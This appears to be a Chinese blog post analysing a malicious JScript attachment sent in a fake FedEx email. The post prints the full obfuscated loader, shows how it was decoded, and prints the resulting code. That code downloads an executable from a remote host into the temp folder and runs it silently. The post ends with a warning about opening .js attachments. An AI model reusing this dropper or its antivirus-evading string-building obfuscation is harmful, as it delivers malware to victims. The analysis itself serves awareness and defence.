Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,
var a5 = 'va'; var a3 = 'l'; var a1 = ''; var a4 = 'e'; function opx() { a1 += 's('; pfo(); }; function fef() { a1 += 'Strea'; iq(); }; function ciq() { a1 += 'GET"'; ch(); }; function m() { a1 += ' Act'; es(); }; function obm() { a1 += ' v'; sqf(); }; function fzw() { a1 += 'rn'; yeu(); }; function pab() { a1 += 'Shel'; xwm(); }; function cr() { a1 += '; xa.'; elt(); }; function jj() { a1 += 'xa ='; rd(); }; function ny() { a1 += 'ry '; wk(); }; function ke() { a1 += 'fn'; lh(); }; function wbl() { a1 += 'e =='; fpg(); }; function ueh() { a1 += '9531'; n(); }; function ma() { a1 += '= 0'; cr(); }; function q() { a1 += '); xo'; s(); }; function rb() { a1 += '2455'; em(); }; function so() { a1 += '= '; upv(); }; function xo() { a1 += 'pandE'; dyu(); }; function xtj() { a1 += 'r,fal'; qj(); }; function j() { a1 += ');'; lyg(); }; function dyr() { a1 += 'pt.'; pab(); }; function dyu() { a1 += 'nvir'; x(); }; function lyg() { a1 += ' }; }'; pws(); }; function suv() { a1 += '00D10'; tla(); }; function sdx() { a1 += '; '; wun(); }; function uet() { a1 += 'rnd'; jp(); }; function exo() { a1 += 'n;'; ht(); }; function wqb() { a1 += 'r)'; whi(); }; function zh() { a1 += 'se'; rj(); }; function zc() { a1 += '};'; azk(); }; function elt() { a1 += 'saveT'; qw(); }; function x() { a1 += 'on'; jq(); }; function rj() { a1 += 'nd()'; twi(); }; function bmc() { a1 += 'on'; bq(); }; function xwm() { a1 += 'l");'; obm(); }; function dt() { a1 += 'a.po'; cn(); }; function yeu() { a1 += ' > 0'; ws(); }; function ow() { a1 += 'xe",1'; gw(); }; function bxl() { a1 += 'Strin'; zko(); }; function le() { a1 += '); x'; dt(); }; function nj() { a1 += 'p?id'; ctl(); }; function a() { a1 += ' new'; m(); }; function mok() { a1 += ' 1; '; hma(); }; function e() { a1 += 'Scri'; dyr(); }; function qw() { a1 += 'oFi'; kg(); }; function pc() { a1 += '38'; adj(); }; function ruz() { a1 += ')+f'; exo(); }; function yfs() { a1 += ' }'; cw(); }; function kva() { a1 += 'L2.X'; kf(); }; function ywg() { a1 += ',0,0)'; ze(); }; function egd() { a1 += 'a.o'; gz(); }; function bq() { a1 += '() '; mqo(); }; function yey() { a1 += 'dl(fr'; fo(); }; function p() { a1 += 'ng'; opx(); }; function gw() { a1 += ');'; ne(); }; function jp() { a1 += '=583'; ueh(); }; function ze() { a1 += '; '; ywx(); }; function wk() { a1 += '{ x'; lf(); }; function mqo() { a1 += '{ if'; u(); }; function hma() { a1 += 'xa.wr'; oct(); }; function lyq() { a1 += 'MS'; ta(); }; function fo() { a1 += ',fn,'; ra(); }; function aa() { a1 += 's5-'; k(); }; function lf() { a1 += 'o.'; bqk(); }; function iec() { a1 += 'onse'; l(); }; function pws() { a1 += '; t'; ny(); }; function gz() { a1 += 'pen()'; sdx(); }; function i() { a1 += 'yst'; lg(); }; function la() { a1 += ' ='; tbz(); }; function ta() { a1 += 'XM'; kva(); }; function kf() { a1 += 'MLH'; zpg(); }; function yt() { a1 += 'com/d'; plz(); }; function ovq() { a1 += 'P%")+'; bxl(); }; function ia() { a1 += ':/'; zll(); }; function kg() { a1 += 'le('; ke(); }; function ff() { a1 += 'r ws'; y(); }; function pp() { a1 += 'fn'; ywg(); }; function n() { a1 += '","8'; ym(); }; function g() { a1 += 'xo '; so(); }; function ng() { a1 += 'xo.'; zh(); }; function mlz() { a1 += '("'; ciq(); }; function ym() { a1 += '44'; pc(); }; function kqc() { a1 += '09&'; uet(); }; function omc() { a1 += '("W'; e(); }; function wun() { a1 += 'xa.ty'; tp(); }; function ctl() { a1 += '=54'; pt(); }; function lg() { a1 += 'atec'; ors(); }; function bmm() { a1 += 'XObje'; rvo(); }; function zko() { a1 += 'g.fro'; fr(); }; function ch() { a1 += ',f'; xtj(); }; function l() { a1 += 'Body'; le(); }; function jq() { a1 += 'mentS'; jf(); }; function em() { a1 += '565'; jet(); }; function cw() { a1 += ' catc'; dig(); }; function yv() { a1 += 'e(92'; ruz(); }; function twi() { a1 += '; '; oy(); }; function ws() { a1 += ') { '; zo(); }; function zpg() { a1 += 'TTP"'; q(); }; function s() { a1 += '.onre'; pao(); }; function rd() { a1 += ' new '; kh(); }; function vp() { a1 += 'XOb'; dwx(); }; function vrm() { a1 += 'Act'; v(); }; function oi() { a1 += 'ion '; ma(); }; function lvc() { a1 += 'D01'; rb(); }; function pt() { a1 += '51'; cg(); }; function bqk() { a1 += 'open'; mlz(); }; function etm() { a1 += 'Run('; pp(); }; function hp() { a1 += '("AD'; b(); }; function whi() { a1 += ' { }'; ssb(); }; function v() { a1 += 'ive'; bmm(); }; function w() { a1 += 'Stat'; wbl(); }; function oct() { a1 += 'ite'; pd(); }; function zll() { a1 += '/app.'; aa(); }; function qj() { a1 += 'se); '; ng(); }; function plz() { a1 += 'ocume'; wld(); }; function oy() { a1 += 'if ('; fzw(); }; function b() { a1 += 'ODB.'; fef(); }; function h() { a1 += 'ctio'; o(); }; function zo() { a1 += 'ws.'; etm(); }; function es() { a1 += 'ive'; vp(); }; function r() { a1 += 'va'; ff(); }; function aey() { a1 += 'rCod'; yv(); }; function adj() { a1 += '33'; fpe(); }; function tla() { a1 += '0D011'; lvc(); }; function kh() { a1 += 'Acti'; zn(); }; function ors() { a1 += 'hange'; c(); }; function sqf() { a1 += 'ar fn'; la(); }; function zr() { a1 += ' var '; jj(); }; function jn() { a1 += 'esp'; iec(); }; function fpg() { a1 += '= 4'; oh(); }; function iq() { a1 += 'm")'; tgk(); }; function nyj() { a1 += 'ready'; w(); }; function ht() { a1 += ' var '; g(); }; function k() { a1 += 'tech.'; yt(); }; function ttg() { a1 += 'bject'; hp(); }; function t() { a1 += 'ncti'; bmc(); }; function bb() { a1 += 'xa.c'; lfp(); }; function o() { a1 += 'n '; yey(); }; function tbz() { a1 += ' ws'; fkc(); }; function jf() { a1 += 'tri'; p(); }; function iiw() { a1 += '("'; my(); }; function ssb() { a1 += '; '; zc(); }; function wq() { a1 += '0B'; kqc(); }; function ra() { a1 += 'rn)'; tux(); }; function oh() { a1 += ') {'; zr(); }; function my() { a1 += 'http'; ia(); }; function owg() { a1 += 'fu'; t(); }; function lh() { a1 += ',2); '; bb(); }; function tux() { a1 += ' { '; r(); }; function wld() { a1 += 'nt.ph'; nj(); }; function ywx() { a1 += '};'; yfs(); }; function tgk() { a1 += '; x'; egd(); }; function dwx() { a1 += 'ject'; omc(); }; function lfp() { a1 += 'lose('; j(); }; function fpe() { a1 += '5.e'; ow(); }; function upv() { a1 += 'new '; vrm(); }; function kag() { a1 += ' ='; mok(); }; function ne() { this[a4 + a5 + a3](a1); }; function rvo() { a1 += 'ct("'; lyq(); }; function fr() { a1 += 'mCha'; aey(); }; function dig() { a1 += 'h (e'; wqb(); }; function u() { a1 += ' (xo.'; nyj(); }; function y() { a1 += ' ='; a(); }; function fkc() { a1 += '.Ex'; xo(); }; function azk() { a1 += ' dl'; iiw(); }; function tp() { a1 += 'pe'; kag(); }; function pd() { a1 += '(xo.R'; jn(); }; function pao() { a1 += 'ad'; i(); }; function fs() { a1 += 'fun'; h(); }; function c() { a1 += ' = '; owg(); }; function jet() { a1 += '24A07'; wq(); }; function cn() { a1 += 'sit'; oi(); }; function pfo() { a1 += '"%TEM'; ovq(); }; function zn() { a1 += 'veXO'; ttg(); }; function cg() { a1 += '515E1'; suv(); }; fs();
虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:
function gw() { a1 += ');'; ne(); };
改为:
function gw() { a1 += ');'; //ne(); WScript.Echo(a1); };
复制出内容如下:
function dl(fr, fn, rn) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function() { if (xo.readyState === 4) { var xa = new ActiveXObject("ADODB.Stream"); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); xa.position = 0; xa.saveToFile(fn, 2); xa.close(); }; }; try { xo.open("GET", fr, false); xo.send(); if (rn > 0) { ws.Run(fn, 0, 0); }; } catch (er) {}; }; dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);
似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。
但提醒一下:双击打开 Js 扩展名的附件要保持留心。